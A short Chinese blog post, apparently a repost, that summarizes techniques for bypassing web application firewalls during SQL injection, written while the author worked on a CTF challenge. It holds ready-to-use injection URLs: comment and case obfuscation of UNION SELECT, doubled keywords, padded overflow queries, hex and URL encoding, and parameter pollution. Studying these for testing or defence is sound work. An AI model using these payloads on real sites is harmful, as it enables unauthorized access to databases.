绕过WAF进行sql注入

最近一直纠结cuit 的一道渗透题,是关于绕过WAF的,也许是以前工具用多了,也许真的自己实力不行,很久都没做出来。百度了很多关于绕过WAF的资料,特来总结下。

一、首先让我们认识下什么叫做WAF

Web应用防护系统,英文叫做Web Application Firewall。

Web应用防火墙的具有以下四个方面的功能:

1. 审计设备:用来截获所有HTTP数据或者仅仅满足某些规则的会话

2. 访问控制设备:用来控制对Web应用的访问,既包括主动安全模式也包括被动安全模式

3. 架构/网络设计工具:当运行在反向代理模式,他们被用来分配职能,集中控制,虚拟基础结构等。

4. WEB应用加固工具:这些功能增强被保护Web应用的安全性,它不仅能够屏蔽WEB应用固有弱点,而且能够保护WEB应用编程错误导致的安全隐患。

这里有关于WAF的安全原理和技术分析

http://netsecurity.51cto.com/art/201007/212941.htm 

二、怎么知道是否有WAF

当你尝试写入一段sql代码(比如 "UNIONSELECT"),你得到一个403错误(或者网站回复"Forbidden"或"NotAcceptable")

三、怎么绕过WAF

1、常用方法有注释、大小写

注释:

http://www.xxx.com/index.php?id=-1+/*!UNION*/+/*!SELECT*/+1,2,3,4--

大小写:

http://www.xxx.com/index.php?id=-1+/*!UnIoN*/+/*!SeLecT*/+1,2,3,4--

遇到过滤关键字的还需要构造语句:

http://www.xxx.com/index.php?id=-1+UNIunionON+SELselectECT+1,2,3,4--

2、许多防火墙都是有C/C++开发的,所以我们可以尝试缓冲区溢出

http://www.xxx.com/index.php?id=-1+and+(select1)=(Select 0xAA[..(add about 1000"A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4--

也可以尝试下这个语句

?id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4--

3、运用编码技术或者HEX

or 1=1即%6f%72%20%31%3d%31
0x730079007300610064006D0069006E00=hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)

4、被遗忘的复参攻击

http://www.xxx.com/index.php?id=1&id=2
http://www.xxx.com/index.php?id=1/**/union/*&id=*/select/*&id=*/1,2,3,4--/*

参考:

【1】http://laterain.blog.163.com/blog/static/20231410320127269943720/

【2】http://www.2cto.com/Article/201206/135794.html       

【3】http://www.80sec.com/%E6%B5%85%E8%B0%88%E7%BB%95%E8%BF%87waf%E7%9A%84%E6%95%B0%E7%A7%8D%E6%96%B9%E6%B3%95.html

 未完待续。。。

原文地址:https://www.cnblogs.com/dgy5554/p/3973425.html